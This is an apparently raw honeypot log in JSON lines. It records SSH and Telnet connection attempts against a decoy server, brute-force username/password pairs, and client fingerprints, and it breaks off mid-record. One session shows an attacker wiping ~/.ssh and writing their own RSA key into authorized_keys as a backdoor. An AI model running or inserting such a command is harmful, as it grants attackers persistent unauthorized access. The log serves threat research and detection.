{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:43.506705Z","src_ip":"209.99.189.177","session":"b7cfb6c05337","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1234567","message":"login attempt [steam/1234567] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:44.046109Z","src_ip":"209.99.189.177","session":"b7cfb6c05337","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:44.338083Z","src_ip":"209.99.189.177","session":"b7cfb6c05337","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:44.341510Z","src_ip":"209.99.189.177","session":"b7cfb6c05337","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:44.345434Z","src_ip":"209.99.189.177","session":"b7cfb6c05337","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:44.477095Z","src_ip":"209.99.189.177","session":"b7cfb6c05337","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:44.817633Z","src_ip":"209.99.189.177","session":"b7cfb6c05337","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:44.821597Z","src_ip":"209.99.189.177","session":"b7cfb6c05337","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:44.954554Z","src_ip":"209.99.189.177","session":"b7cfb6c05337","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:44.958564Z","src_ip":"209.99.189.177","session":"b7cfb6c05337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":52708,"dst_ip":"10.17.0.5","dst_port":22,"session":"6beff8b1ba94","protocol":"ssh","message":"New connection: 209.99.189.177:52708 (10.17.0.5:22) [session: 6beff8b1ba94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:45.078479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:45.084693Z","src_ip":"209.99.189.177","session":"6beff8b1ba94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:45.213979Z","src_ip":"209.99.189.177","session":"6beff8b1ba94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:45.756601Z","src_ip":"209.99.189.177","session":"6beff8b1ba94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":36556,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9b1ca066140","protocol":"ssh","message":"New connection: 103.106.188.32:36556 (10.17.0.5:22) [session: c9b1ca066140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:45.910863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:45.915972Z","src_ip":"103.106.188.32","session":"c9b1ca066140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:46.124229Z","src_ip":"103.106.188.32","session":"c9b1ca066140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:46.887122Z","src_ip":"209.99.189.177","session":"6beff8b1ba94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":43216,"dst_ip":"10.17.0.5","dst_port":22,"session":"a68e9b82fdc8","protocol":"ssh","message":"New connection: 209.99.189.177:43216 (10.17.0.5:22) [session: a68e9b82fdc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:47.014562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:47.019286Z","src_ip":"209.99.189.177","session":"a68e9b82fdc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver4","password":"gmodserver4","message":"login attempt [gmodserver4/gmodserver4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:47.126892Z","src_ip":"103.106.188.32","session":"c9b1ca066140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:47.150652Z","src_ip":"209.99.189.177","session":"a68e9b82fdc8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:47.708848Z","src_ip":"209.99.189.177","session":"a68e9b82fdc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:47.842077Z","src_ip":"209.99.189.177","session":"b7cfb6c05337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:47.847484Z","src_ip":"209.99.189.177","session":"a68e9b82fdc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:48.334492Z","src_ip":"103.106.188.32","session":"c9b1ca066140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":60170,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaf99c137a29","protocol":"telnet","message":"New connection: 20.123.41.163:60170 (10.17.0.5:23) [session: eaf99c137a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:00.052734Z"}
{"eventid":"cowrie.session.closed","duration":8.884167194366455,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:08.936763Z","src_ip":"20.123.41.163","session":"eaf99c137a29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00795936584473,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:15.445887Z","src_ip":"37.52.61.49","session":"a3f4dc7fd20a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":52456,"dst_ip":"159.203.135.109","dst_port":23,"session":"357912cdbe4c","protocol":"telnet","message":"New connection: 37.52.61.49:52456 (159.203.135.109:23) [session: 357912cdbe4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:15.800091Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60078,"dst_ip":"10.17.0.5","dst_port":22,"session":"b11bb0add8eb","protocol":"ssh","message":"New connection: 109.91.4.177:60078 (10.17.0.5:22) [session: b11bb0add8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:19.758362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:19.778392Z","src_ip":"109.91.4.177","session":"b11bb0add8eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:19.887323Z","src_ip":"109.91.4.177","session":"b11bb0add8eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linuxadmin","password":"linuxadmin","message":"login attempt [linuxadmin/linuxadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:20.692709Z","src_ip":"109.91.4.177","session":"b11bb0add8eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":37284,"dst_ip":"10.17.0.5","dst_port":22,"session":"f464e35cdce6","protocol":"ssh","message":"New connection: 103.146.202.174:37284 (10.17.0.5:22) [session: f464e35cdce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:21.069416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:21.074788Z","src_ip":"103.146.202.174","session":"f464e35cdce6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:21.325106Z","src_ip":"103.146.202.174","session":"f464e35cdce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:21.811165Z","src_ip":"109.91.4.177","session":"b11bb0add8eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server11","message":"login attempt [server/server11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:22.341719Z","src_ip":"103.146.202.174","session":"f464e35cdce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:23.591177Z","src_ip":"103.146.202.174","session":"f464e35cdce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":53094,"dst_ip":"10.17.0.5","dst_port":22,"session":"cabd4a1e4d0c","protocol":"ssh","message":"New connection: 103.106.188.32:53094 (10.17.0.5:22) [session: cabd4a1e4d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:45.814348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:45.819401Z","src_ip":"103.106.188.32","session":"cabd4a1e4d0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh